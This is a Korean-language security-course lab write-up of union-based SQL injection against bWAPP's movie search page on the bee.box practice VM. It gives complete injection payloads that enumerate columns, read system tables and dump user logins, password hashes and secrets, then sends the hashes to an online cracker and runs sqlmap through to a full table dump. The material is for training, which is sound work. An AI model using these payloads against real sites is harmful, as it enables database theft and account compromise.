[SK shieldus Rookies 19기] bWAPP bee.box - Sql injection
[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정
01. Union Based SQL injection
kali에서 beebox 접속
영화 정보를 조회하는 페이지
해당 서비스에 등록된 모든 사용자의 계정 정보를 탈취해보자
select * from movies where title like '%man%
아마.. 예측
man' 을 넣어서 오류를 유도
mysql을 사용하고 입력 값이 그대로 쿼리에 사용되는 모습 = 인젝션
Union 사용을 위해서..
select * from movies where title like '%man' or 'a' = 'a' order by 1 -- %'
쿼리의 실행 결과가 반환하는 컬럼의 개수를 확인해보자
select * from movies where title like '%man' or 'a' = 'a'
모든 데이터를 조회하고,
order by 1 --
첫번째 컬럼 기준으로 정렬, 주석 처리
select * from movies where title like '%man' or 'a' = 'a' order by 8 -- %'
컬럼의 개수는 7개
데이터 타입과 상관 없이 결합할 수 있게 쿼리 변환
select * from movies where title like '%man' and 'a' = 'b' -- %'
= 항상 거짓이 되게
조회 결과 위치 확인
select * from movies where title like '%man' and 'a' = 'b' UNION select 1, 2, 3, 4, 5, 6, 7 -- %'
4개 출력되고, 위치 확인 완료
데이터베이스 버전 확인
select * from movies where title like '%man' and 'a' = 'b' UNION select 1, @@version, 3, 4, 5, 6, 7 -- %'
데이터베이스가 제공하는 시스템 테이블을 이용해서 원하는 정보를 조회
테이블 목록 조회
select * from movies where title like '%man' and 'a' = 'b' UNION select 1, table_name, table_type, 4, 5, 6, 7 from information_schema.tables -- %'
users 테이블 조회
select * from movies where title like '%man' and 'a' = 'b' UNION select 1, table_name, column_name, 4, 5, 6, 7 from information_schema.columns where table_name = 'users' -- %'
users 테이블 컬럼 조회
select * from movies where title like '%man' and 'a' = 'b' UNION select 1, concat(id, ' : ', login), password, email, secret, 6, 7 from users -- %'
select * from movies where title like '%man' and 'a' = 'b' UNION select 1, concat(id, ' : ', login), password, email, secret, 6, 7 from users -- %'
CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack
crackstation.net
취약한 암호화한 경우 크래킹을 통해 추출이 가능
02. sqlmap 활용
sqlmap 설치
sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man --cookie="security_level=0; PHPSESSID=37bbc7483348356b6aa173e5b72e07d6" --dbs
sqlmap 실행
결과 값
bWAPP 데이터베이스의 정보를 조회
sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man --cookie="security_level=0; PHPSESSID=37bbc7483348356b6aa173e5b72e07d6" -D bWAPP --tables
결과 값
users 테이블의 컬럼 조회
sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man --cookie="security_level=0; PHPSESSID=37bbc7483348356b6aa173e5b72e07d6" -D bWAPP -T users --columns
결과 값
users 테이블의 데이터 조회
sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man --cookie="security_level=0; PHPSESSID=37bbc7483348356b6aa173e5b72e07d6" -D bWAPP -T users --dump